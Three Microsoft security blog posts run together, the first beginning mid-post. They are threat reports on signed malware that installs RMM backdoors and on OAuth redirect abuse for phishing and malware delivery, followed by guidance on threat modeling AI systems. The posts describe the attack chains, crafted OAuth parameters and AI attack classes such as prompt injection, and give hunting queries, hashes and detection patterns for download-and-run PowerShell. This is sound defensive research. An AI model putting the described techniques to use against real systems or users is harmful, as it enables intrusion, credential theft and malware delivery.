These PowerShell commands retrieved the ScreenConnect client installer files (.msi) and staged them within the systems’ temporary directory paths in preparation for secondary deployment. Subsequently, the Windows msiexec.exe utility was invoked to execute the staged installer files. This process results in the full installation of the ScreenConnect application and the creation of multiple registry entries to ensure ongoing persistence.

In this case, the activity possibly involved the on-premises version of ScreenConnect delivered through an MSI package that was not digitally signed by ConnectWise. On-premises version of ScreenConnect MSI installers are unsigned by default. As such, encountering an unsigned installer in a malicious activity often suggests it’s a potentially obtained through unauthorized means.

Review of the ScreenConnect binaries dropped during execution of ScreenConnect installer files showed that the associated executable files were signed with certificates that had already been revoked. This pattern—unsigned installer followed by executables bearing invalidated signatures—has been consistently observed in similar intrusions.

Analysis of the registry artifacts indicated that the installed backdoor created and maintained multiple ScreenConnect Client related registry values across several Windows registry locations, embedding itself deeply within the operating system. Persistence through Windows services was reinforced by entries placed under:

HKLM\SYSTEM\ControlSet001\Services\ScreenConnect Client [16digit unique hexadecimal client identifier]

Within the service key, command strings instructed the client on how to reconnect to the remote operator’s infrastructure. These embedded parameters included encoded identifiers, callback tokens, and connection metadata, all of which enable seamless reestablishment of remote access following system restarts or service interruptions.

Additional registry entries observed during analysis further validate this persistence strategy. The configuration strings reference the executable ScreenConnect.ClientService.exe, located in:

C:\Program Files (x86)\ScreenConnect Client [Client ID]

These entries contained extensive encoded payloads detailing server addresses, session identifiers, and authentication parameters. Such configuration depth ensures that the ScreenConnect backdoor maintained:

• Reliable persistence
• Operational stealth
• Continuous C2 availability

The combination of service-based autoruns, encoded reconnection parameters, and deep integration into critical system service keys demonstrates a deliberate design optimized for long term, covert remote access. These characteristics are consistent with a repurposed ScreenConnect backdoor, rather than a benign or legitimate Remote Monitoring and Management (RMM) deployment.

Additional RMM installation

During analysis we identified that the threat actor did not rely solely on the malicious ScreenConnect backdoor to maintain access. In parallel, the actor deployed additional remote monitoring and management (RMM) tools to strengthen foothold redundancy and expand control across the environment. The masqueraded Workplace executables associated with the TrustConnect RMM initiated a series of encoded PowerShell commands. This technique, which was also used to deploy ScreenConnect, enabled the download and installation of Tactical RMM from the attacker-controlled infrastructure. As part of this secondary installation, the Tactical RMM deployment subsequently installed MeshAgent, providing yet another remote access channel for persistence.

The use of multiple RMM frameworks within a single intrusion demonstrates a deliberate strategy to ensure continuous access, diversify C2 capabilities, and maintain operational resilience even if one access mechanism is detected or removed.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

• Follow the recommendations within the Microsoft Technique Profile: Abuse of remote monitoring and management tools to mitigate the use of unauthorized RMMs in the environment.
• Use Windows Defender Application Control or AppLocker to create policies to block unapproved IT management tools
  • Both solutions include functionality to block specific software publisher certificates: WDAC file rule levels allow administrators to specify the level at which they want to trust their applications, including listing certificates as untrusted. AppLocker’s publisher rule condition is available for files that are digitally signed, which can enable organizations to block non-approved RMM instances that include publisher information.
  • Microsoft Defender for Endpoint also provides functionality to block specific signed applications using the block certificate action.
• For approved RMM systems used in your environment, enforce security settings where it is possible to implement multifactor authentication (MFA).
• Consider searching for unapproved RMM software installations (see the Advanced hunting section). If an unapproved installation is discovered, reset passwords for accounts used to install the RMM services. If a system-level account was used to install the software, further investigation may be warranted.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable Zero-hour auto purge (ZAP) in Microsoft Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Microsoft Defender XDR customers can turn on the following attack surface reduction rules to prevent common attack techniques used by threat actors:
  • Use advanced protection against ransomware
  • Block process creations originating from PsExec and WMI commands. Some organizations may experience compatibility issues with this rule on certain server systems but should deploy it to other systems to prevent lateral movement originating from PsExec and WMI.
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion
• You can assess how an attack surface reduction rule might impact your network by opening the security recommendation for that rule in threat and vulnerability management. In the recommendation details pane, check the user impact to determine what percentage of your devices can accept a new policy enabling the rule in blocking mode without adverse impact to user productivity.

Microsoft Defender XDR detections   

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Hunting queries 

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following queries to find related activity in their environment:

Use the below query to discover files digitally signed by TrustConnect Software PTY LDT

DeviceFileCertificateInfo
| where Issuer == "TrustConnect Software PTY LTD" or Signer == "TrustConnect Software PTY LTD"
| join kind=inner (
    DeviceFileEvents
    | project SHA1, FileName, FolderPath, DeviceName, TimeGenerated
) on SHA1
| project TimeGenerated, DeviceName, FileName, FolderPath, SHA1, Issuer, Signer

Use the below query to identify the presence of masqueraded workplace applications

let File_Hashes_SHA256 = dynamic([
"ef7702ac5f574b2c046df6d5ab3e603abe57d981918cddedf4de6fe41b1d3288", "4c6251e1db72bdd00b64091013acb8b9cb889c768a4ca9b2ead3cc89362ac2ca", 
"86b788ce9379e02e1127779f6c4d91ee4c1755aae18575e2137fb82ce39e100f", "959509ef2fa29dfeeae688d05d31fff08bde42e2320971f4224537969f553070", 
"5701dabdba685b903a84de6977a9f946accc08acf2111e5d91bc189a83c3faea", "6641561ed47fdb2540a894eb983bcbc82d7ad8eafb4af1de24711380c9d38f8b", 
"98a4d09db3de140d251ea6afd30dcf3a08e8ae8e102fc44dd16c4356cc7ad8a6", "9827c2d623d2e3af840b04d5102ca5e4bd01af174131fc00731b0764878f00ca", 
"edde2673becdf84e3b1d823a985c7984fec42cb65c7666e68badce78bd0666c0", "c6097dfbdaf256d07ffe05b443f096c6c10d558ed36380baf6ab446e6f5e2bc3", 
"947bcb782c278da450c2e27ec29cb9119a687fd27485f2d03c3f2e133551102e", "36fdd4693b6df8f2de7b36dff745a3f41324a6dacb78b4159040c5d15e11acb7", 
"35f03708f590810be88dfb27c53d63cd6bb3fb93c110ca0d01bc23ecdf61f983", "af651ebcacd88d292eb2b6cbbe28b1e0afd1d418be862d9e34eacbd65337398c", 
"c862dbcada4472e55f8d1ffc3d5cfee65d1d5e06b59a724e4a93c7099dd37357"]);
DeviceFileEvents
| where SHA256 has_any (File_Hashes_SHA256)

Use the below query to identify the malicious network connection

DeviceNetworkEvents
| where RemoteUrl has "trustconnectsoftware.com"

Use the below query to identify the suspicious executions of ScreenConnect Backdoor via PowerShell

DeviceProcessEvents
| where InitiatingProcessCommandLine has_all ("Invoke-WebRequest","-OutFile","Start-Process", "ScreenConnect", ".msi") or ProcessCommandLine has_all ("Invoke-WebRequest","-OutFile","Start-Process", "ScreenConnect", ".msi") 
| project-reorder Timestamp, DeviceId,DeviceName,InitiatingProcessCommandLine,ProcessCommandLine,InitiatingProcessParentFileName

Use the below query to identify the suspicious deployment of ScreenConnect and Tactical RMM

DeviceProcessEvents
| where InitiatingProcessCommandLine has_all ("ScreenConnect","Tactical RMM","access","guest") or ProcessCommandLine has_all ("ScreenConnect","Tactical RMM","access","guest")
| where InitiatingProcessCommandLine !has "screenconnect.com" and ProcessCommandLine !has "screenconnect.com"
| where InitiatingProcessParentFileName in ("services.exe", "Tactical RMM.exe")
| project-reorder Timestamp, DeviceId,DeviceName,InitiatingProcessCommandLine,ProcessCommandLine,InitiatingProcessParentFileName

Indicators of compromise

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI maps) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

References

• Intel Article – Microsoft Defender

This research is provided by Microsoft Defender Security Research with contributions from Sai Chakri Kandalai.

Learn more 

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Learn more about Protect your agents in real-time during runtime (Preview) – Microsoft Defender for Cloud Apps | Microsoft Learn   
• Explore how to build and customize agents with Copilot Studio Agent Builder 

The post Signed malware impersonating workplace apps deploys RMM backdoors appeared first on Microsoft Security Blog.

Microsoft Defender researchers uncovered phishing campaigns that exploit legitimate OAuth protocol functionality to manipulate URL redirection and bypass conventional phishing defenses across email and browsers. During the investigation, several malicious OAuth applications were identified and removed to mitigate the threat.

OAuth includes a legitimate feature that allows identity providers to redirect users to a specific landing page under certain conditions, typically in error scenarios or other defined flows. Attackers can abuse this native functionality by crafting URLs with popular identity providers, such as Entra ID or Google Workspace, that use manipulated parameters or associated malicious applications to redirect users to attacker-controlled landing pages. This technique enables the creation of URLs that appear benign but ultimately lead to malicious destinations.

Technical details

The attack begins with the creation of a malicious application in an actor-controlled tenant, configured with a redirect URI pointing to a malicious domain hosting malware. The attacker then distributes a phishing link prompting the target to authenticate to the malicious application.

Although the mechanics behind OAuth redirection abuse can be subtle, the operational use is straightforward. Threat actors embed crafted OAuth URLs into common phishing lures, relying on user familiarity with legitimate authentication flows to encourage interaction. To clarify the sequence, the attack is broken down into stages below, starting with delivery and the initial user interaction that triggers the redirection chain.

Stage 1: Email delivery

Several threat actors distributed phishing campaigns containing OAuth redirect URLs. The emails used e-signature requests, social security, financial, and political themes to entice recipients to engage and click the link. Indicators suggest these actors used free prebuilt mass-sending tools as well as custom solutions developed in Python and Node.js. In some cases, cloud email services and cloud-hosted virtual machines were used to distribute the messages.

Most URLs were embedded directly in the email body, but some actors placed the URL and accompanying lure inside a PDF attachment and sent the email with no body content. After the OAuth redirect, some campaigns routed users directly to a phishing page, while others introduced additional verification steps designed to bypass security controls.

We observed misuse of OAuth redirects in both phishing and malware distribution campaigns. To increase credibility, actors passed the target email address through the state parameter using various encoding techniques, allowing it to be automatically populated on the phishing page. The state parameter is intended to be randomly generated and used to correlate request and response values, but in these cases it was repurposed to carry encoded email addresses. Observed encoding methods included:

• Plaintext
• Hex string
• Base64
• Custom decoder schemes, for example mapping 11 = a, 12 = b

Once redirected away from the OAuth authentication page, users were typically sent to phishing frameworks such as EvilProxy, among others. These platforms function as attacker-in-the-middle toolkits designed to intercept credentials and session cookies. They often rely on proxy-based login interception and additional obfuscation layers such as CAPTCHA challenges or interstitial pages. At this stage, the attack resembles a conventional phishing attempt, with the added advantage of being delivered through a trusted OAuth identity provider redirect.

Several samples also included fake calendar invite (.ics) attachments or meeting-related messaging to reinforce legitimacy and encourage interaction. By combining trusted authentication URLs with collaboration-themed lures, attackers increased the likelihood of user engagement.

Lure examples

Examples of email lures observed in the phishing/malware campaign and related social engineering themes:

Document sharing and review

Social Security

Teams meeting

Password reset

Employee report lure

Stage 2: Silent OAuth Probe

All of the lures described earlier share a common technique: abuse of OAuth redirection behavior. Attackers sent victims phishing links that, when clicked, triggered an OAuth authorization flow through a combination of crafted parameters. In this section, we outline patterns observed across Microsoft and Google OAuth providers. However, this redirection technique is not limited to those platforms and can be abused with other OAuth-compliant services.

Microsoft Entra ID example

Looking in details at the URL crafted for Entra ID, at first glance, this looks like a standard OAuth authorization request, but several parameters are intentionally misused. This example targets all tenants; attackers do not need to target all tenants in their URLs.

This technique abuses the OAuth 2.0 authorization endpoint by using parameters such as prompt=none and an intentionally invalid scope. Rather than attempting successful authentication, the request is designed to force the identity provider to evaluate session state and Conditional Access policies without presenting a user interface.

Setting an invalid scope is one method used to trigger an error and subsequent redirect, but it is not the only mechanism observed. Errors may also occur when:

• The user is not logged in
• The browser session cannot be retrieved
• The user is logged in, but the application lacks a service principal in the user’s tenant

By design, OAuth flows may redirect users following certain error conditions. Attackers exploit this behavior to silently probe authorization endpoints and infer the presence of active sessions or authentication enforcement. Although user interaction is still required to click the link, the redirect path leverages trusted identity provider domains to advance the attack.

Stage 3: OAuth Error Redirect

When silent authentication fails, Microsoft Entra ID returns an OAuth error and redirects the browser to the attacker’s registered redirect URI, along with additional error parameters. The examples below show attacker-controlled phishing pages reached after the OAuth redirection.

What this really means:

Interactive authentication is required: Microsoft Entra ID prompts the user to sign in or complete multifactor authentication.

Session information cannot be reused for silent single sign-on: A session may exist, but it cannot be leveraged silently.

From the attacker’s perspective, this information is useful. It confirms that the user account exists and that silent SSO is blocked, meaning interactive authentication is required.

The attacker does not obtain the user’s access token, as the sign-in fails with error code 65001, indicating the user has not granted the application permission to access the resource. However, the primary objective of this campaign is to redirect the target to a malicious landing page, where follow-on activity such as downloading a malicious file may occur. By hosting the payload on an application redirect URI under their control, attackers can quickly rotate or change redirected domains when security filters block them.

Stage 4: Redirect Abuse and Malware Delivery

Among the threat actors and campaigns abusing OAuth redirection techniques with various landing pages, we identified a specific campaign that attempted to deliver a malicious payload. That activity is described in more detail below.

• After redirection, victims were sent to a /download/XXXX path, where a ZIP file was automatically downloaded to the target device.
• Observed payloads included ZIP archives containing LNK shortcut files and HTML smuggling loaders.

At this stage, the activity transitions from identity reconnaissance to endpoint compromise.

Stage 5: Endpoint Impact and Persistence

Extraction of the ZIP archive confirmed PowerShell execution, DLL side-loading, and pre-ransom or hands-on-keyboard activity.

The ZIP file downloaded from the malicious redirect contained a malicious .LNK shortcut file that, when opened, executed a PowerShell command. The script initiated host reconnaissance by running discovery commands such as ipconfig /all and tasklist. Following this discovery phase, PowerShell used the tar utility to extract steam_monitor.exe, crashhandler.dll, and crashlog.dat.

PowerShell then launched the legitimate steam_monitor.exe, which was leveraged to side-load the malicious crashhandler.dll. That DLL decrypted crashlog.dat and executed the final payload in memory, ultimately establishing an outbound connection to an external C2 endpoint.

Mitigation and protection guidance  

To reduce risk, organizations should closely govern OAuth applications by limiting user consent, regularly reviewing application permissions, and removing unused or overprivileged apps. Combined with identity protection, Conditional Access policies, and cross-domain detection across email, identity, and endpoint, these measures help prevent trusted authentication flows from being misused for phishing or malware delivery.

The activity described in this report highlights a class of identity-based threats that abuse OAuth’s standard, by-design behavior rather than exploiting software vulnerabilities or stealing credentials. OAuth specifications, including RFC 6749, define how authorization errors are handled through redirects, and RFC 9700 documents security lessons learned from years of real-world deployment. RFC 9700 Section 4.11.2 (“Authorization Server as Open Redirector”) notes that attackers can deliberately trigger OAuth errors, such as by using invalid parameters like scope or prompt=none, to force silent error redirects. Although this behavior is standards compliant, adversaries can abuse it to redirect users through trusted authorization endpoints to attacker-controlled destinations, enabling phishing or malware delivery without successful authentication.

These campaigns demonstrate that this abuse is operational, not theoretical. Malicious but standards-compliant applications can misuse legitimate error-handling flows to redirect users from trusted identity providers to attacker-controlled infrastructure. As organizations strengthen defenses against credential theft and MFA bypass, attackers increasingly target trust relationships and protocol behavior instead. These findings reinforce the need for cross-domain XDR detections, clearer governance around OAuth redirection behavior, and continued collaboration across the security community to reduce abuse while preserving the interoperability that OAuth enables.

Advanced hunting queries

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Identify URL click events associated with invalid OAuth scope parameter

UrlClickEvents
| where ActionType == "ClickAllowed" or IsClickedThrough == true
| where isnotempty(Url)
| where Url startswith "https://" or Url startswith "http://"
| where Url has "scope=invalid" or UrlChain has "scope=invalid"

Identify URL click launched browser with invalid OAuth scope parameter

DeviceEvents
| where ActionType == "BrowserLaunchedToOpenUrl"
| where isnotempty(RemoteUrl)
| where RemoteUrl startswith "https://" or RemoteUrl startswith "http://"
| where RemoteUrl has "scope=invalid"

Identify downloaded payload after OAuth redirect URL

DeviceFileEvents
| where FileOriginReferrerUrl has_all ("login.", ".com")
| where FileOriginUrl has "error=consent_required"

Identify execution of PowerShell command

DeviceProcessEvents
| where FileName in~ ("powershell.exe", "powershell_ise.exe")
| where ProcessCommandLine has_all (".zip", "Get-ChildItem", ".fullname", "::OpenRead", ".Length;", ".Read(", "byte[]", "Sleep", "TaR")

Identify usage of DLL side-loading

DeviceImageLoadEvents
| where InitiatingProcessFileName =~ "steam_monitor.exe"
| where FileName =~ "crashhandler.dll"
| extend path = tostring(parse_path(FolderPath).DirectoryPath)
| where path =~ InitiatingProcessFolderPath
| where not(path has_any (@"\Windows\System32", @"\Windows\SysWOW64", @"\winsxs\", @"\program files"))

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alerts may indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity:

• Possible initial access from an emerging threat
• Suspicious connection blocked by network protection
• An executable file loaded an unexpected DLL file
• Hands-on-keyboard attack disruption via context signals
• Silent OAuth probe followed by malware delivery attempt

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects components of this threat as the following:

• Trojan:Win32/Malgent
• Trojan:Win32/Korplug
• Trojan:Win32/Znyonm
• Trojan:Win32/GreedyRobin.B!dha
• Trojan:Win32/WinLNK
• Trojan:Win32/WinLNK
• Trojan:Win32/Sonbokli

Microsoft Defender for Office 365

• Email messages containing malicious file removed after delivery
• Email messages containing malicious URL removed after delivery
• Email messages from a campaign removed after delivery.

Threat response recommendations

Block known IOCs (IPs, domains, file hashes) across security tools.
Microsoft Client Ids (associated with threat actor’s OAuth Apps):

Initial Redirection URLs

Hunt for indicators in your environment:

• Auth URLs with prompt=none in emails with common phishing themes such as document sharing, password reset, email storage full, HR, etc.
• Unexpected emails with OAuth URLs with prompt=none
• Auth URLs with prompt=none that redirects to unexpected or unknown domain after initial redirection
• Auth URLs with prompt=none with an email encoded in the state param either in plain text or encoded

• Review and strengthen email security policies (if phishing campaign)
• Enable enhanced logging and monitoring
• Alert security teams and stakeholders.

References

• Microsoft Defender for Office 365
• Redirect URI (reply URL) best practices and limitations – Microsoft identity platform | Microsoft Learn
• Microsoft Entra Conditional Access: Zero Trust Policy Engine – Microsoft Entra ID | Microsoft Learn
• RFC 9700: Best Current Practice for OAuth 2.0 Security
• RFC 6749 – The OAuth 2.0 Authorization Framework

This research is provided by Microsoft Defender Security Research with contributions from Jonathan Armer, Fernando Dantes, Sagar Patil, Bharat Vaghela, Krithika Ramakrishnan, Sean Reynolds, and Shivas Raina.

Learn more   

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

Explore how to build and customize agents with Copilot Studio Agent Builder 

Microsoft 365 Copilot AI security documentation 

How Microsoft discovers and mitigates evolving attacks against AI guardrails 

Learn more about securing Copilot Studio agents with Microsoft Defender  

Learn more about Protect your agents in real-time during runtime (Preview) – Microsoft Defender for Cloud Apps | Microsoft Learn   

The post OAuth redirection abuse enables phishing and malware delivery appeared first on Microsoft Security Blog.

We cannot anticipate every misuse or emergent behavior in AI systems. We can, however, identify what can go wrong, assess how bad it could be, and design systems that help reduce the likelihood or impact of those failure modes. That is the role of threat modeling: a structured way to identify, analyze, and prioritize risks early so teams can prepare for and limit the impact of real‑world failures or adversarial exploits.

Traditional threat modeling evolved around deterministic software: known code paths, predictable inputs and outputs, and relatively stable failure modes. AI systems (especially generative and agentic systems) break many of those assumptions. As a result, threat modeling must be adapted to a fundamentally different risk profile.

Why AI changes threat modeling

Generative AI systems are probabilistic and operate over a highly complex input space. The same input can produce different outputs across executions, and meaning can vary widely based on language, context, and culture. As a result, AI systems require reasoning about ranges of likely behavior, including rare but high‑impact outcomes, rather than a single predictable execution path.

This complexity is amplified by uneven input coverage and resourcing. Models perform differently across languages, dialects, cultural contexts, and modalities, particularly in low‑resourced settings. These gaps make behavior harder to predict and test, and they matter even in the absence of malicious intent. For threat modeling teams, this means reasoning not only about adversarial inputs, but also about where limitations in training data or understanding may surface failures unexpectedly.

Against this backdrop, AI introduces a fundamental shift in how inputs influence system behavior. Traditional software treats untrusted input as data. AI systems treat conversation and instruction as part of a single input stream, where text—including adversarial text—can be interpreted as executable intent. This behavior extends beyond text: multimodal models jointly interpret images and audio as inputs that can influence intent and outcomes.

As AI systems act on this interpreted intent, external inputs can directly influence model behavior, tool use, and downstream actions. This creates new attack surfaces that do not map cleanly to classic threat models, reshaping the AI risk landscape.

Three characteristics drive this shift:

• Nondeterminism: AI systems require reasoning about ranges of behavior rather than single outcomes, including rare but severe failures.
• Instruction‑following bias: Models are optimized to be helpful and compliant, making prompt injection, coercion, and manipulation easier when data and instructions are blended by default.
• System expansion through tools and memory: Agentic systems can invoke APIs, persist state, and trigger workflows autonomously, allowing failures to compound rapidly across components.

Together, these factors introduce familiar risks in unfamiliar forms: prompt injection and indirect prompt injection via external data, misuse of tools, privilege escalation through chaining, silent data exfiltration, and confidently wrong outputs treated as fact.

AI systems also surface human‑centered risks that traditional threat models often overlook, including erosion of trust, overreliance on incorrect outputs, reinforcement of bias, and harm caused by persuasive but wrong responses. Effective AI threat modeling must treat these risks as first‑class concerns, alongside technical and security failures.

Start with assets, not attacks

Effective threat modeling begins by being explicit about what you are protecting. In AI systems, assets extend well beyond databases and credentials.

Common assets include:

• User safety, especially when systems generate guidance that may influence actions.
• User trust in system outputs and behavior.
• Privacy and security of sensitive user and business data.
• Integrity of instructions, prompts, and contextual data.
• Integrity of agent actions and downstream effects.

Teams often under-protect abstract assets like trust or correctness, even though failures here cause the most lasting damage. Being explicit about assets also forces hard questions: What actions should this system never take? Some risks are unacceptable regardless of potential benefit, and threat modeling should surface those boundaries early.

Understand the system you’re actually building

Threat modeling only works when grounded in the system as it truly operates, not the simplified version of design docs.

For AI systems, this means understanding:

• How users actually interact with the system.
• How prompts, memory, and context are assembled and transformed.
• Which external data sources are ingested, and under what trust assumptions.
• What tools or APIs the system can invoke.
• Whether actions are reactive or autonomous.
• Where human approval is required and how it is enforced.

In AI systems, the prompt assembly pipeline is a first-class security boundary. Context retrieval, transformation, persistence, and reuse are where trust assumptions quietly accumulate. Many teams find that AI systems are more likely to fail in the gaps between components — where intent and control are implicit rather than enforced — than at their most obvious boundaries.

Model misuse and accidents 

AI systems are attractive targets because they are flexible and easy to abuse. Threat modeling has always focused on motivated adversaries:

• Who is the adversary?
• What are they trying to achieve?
• How could the system help them (intentionally or not)?

Examples include extracting sensitive data through crafted prompts, coercing agents into misusing tools, triggering high-impact actions via indirect inputs, or manipulating outputs to mislead downstream users.

With AI systems, threat modeling must also account for accidental misuse—failures that emerge without malicious intent but still cause real harm. Common patterns include:

• Overestimation of Intelligence: Users may assume AI systems are more capable, accurate, or reliable than they are, treating outputs as expert judgment rather than probabilistic responses.
• Unintended Use: Users may apply AI outputs outside the context they were designed for, or assume safeguards exist where they do not.
• Overreliance: When users accept incorrect or incomplete AI outputs, typically because AI system design makes it difficult to spot errors.

Every boundary where external data can influence prompts, memory, or actions should be treated as high-risk by default. If a feature cannot be defended without unacceptable stakeholder harm, that is a signal to rethink the feature, not to accept the risk by default.

Use impact to determine priority, and likelihood to shape response

Not all failures are equal. Some are rare but catastrophic; others are frequent but contained. For AI systems operating at a massive scale, even low‑likelihood events can surface in real deployments.

Historically risk management multiplies impact by likelihood to prioritize risks. This doesn’t work for massively scaled systems. A behavior that occurs once in a million interactions may occur thousands of times per day in global deployment. Multiplying high impact by low likelihood often creates false comfort and pressure to dismiss severe risks as “unlikely.” That is a warning sign to look more closely at the threat, not justification to look away from it.

A more useful framing separates prioritization from response:

• Impact drives priority: High-severity risks demand attention regardless of frequency.
• Likelihood shapes response: Rare but severe failures may rely on manual escalation and human review; frequent failures require automated, scalable controls.

Every identified threat needs an explicit response plan. “Low likelihood” is not a stopping point, especially in probabilistic systems where drift and compounding effects are expected.

Design mitigations into the architecture

AI behavior emerges from interactions between models, data, tools, and users. Effective mitigations must be architectural, designed to constrain failure rather than react to it.

Common architectural mitigations include:

• Clear separation between system instructions and untrusted content.
• Explicit marking or encoding of untrusted external data.
• Least-privilege access to tools and actions.
• Allow lists for retrieval and external calls.
• Human-in-the-loop approval for high-risk or irreversible actions.
• Validation and redaction of outputs before data leaves the system.

These controls assume the model may misunderstand intent. Whereas traditional threat modeling assumes that risks can be 100% mitigated, AI threat modeling focuses on limiting blast radius rather than enforcing perfect behavior. Residual risk for AI systems is not a failure of engineering; it is an expected property of non-determinism. Threat modeling helps teams manage that risk deliberately, through defense in depth and layered controls.

Detection, observability, and response

Threat modeling does not end at prevention. In complex AI systems, some failures are inevitable, and visibility often determines whether incidents are contained or systemic.

Strong observability enables:

• Detection of misuse or anomalous behavior.
• Attribution to specific inputs, agents, tools, or data sources.
• Accountability through traceable, reviewable actions.
• Learning from real-world behavior rather than assumptions.

In practice, systems need logging of prompts and context, clear attribution of actions, signals when untrusted data influences outputs, and audit trails that support forensic analysis. This observability turns AI behavior from something teams hope is safe into something they can verify, debug, and improve over time.

 Response mechanisms build on this foundation. Some classes of abuse or failure can be handled automatically, such as rate limiting, access revocation, or feature disablement. Others require human judgment, particularly when user impact or safety is involved. What matters most is that response paths are designed intentionally, not improvised under pressure.

Threat modeling as an ongoing discipline

AI threat modeling is not a specialized activity reserved for security teams. It is a shared responsibility across engineering, product, and design.

The most resilient systems are built by teams that treat threat modeling as one part of a continuous design discipline — shaping architecture, constraining ambition, and keeping human impact in view. As AI systems become more autonomous and embedded in real workflows, the cost of getting this wrong increases.

Get started with AI threat modeling by doing three things:

1. Map where untrusted data enters your system.
2. Set clear “never do” boundaries.
3. Design detection and response for failures at scale.

As AI systems and threats change, these practices should be reviewed often, not just once. Thoughtful threat modeling, applied early and revisited often, remains an important tool for building AI systems that better earn and maintain trust over time

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post Threat modeling AI applications appeared first on Microsoft Security Blog.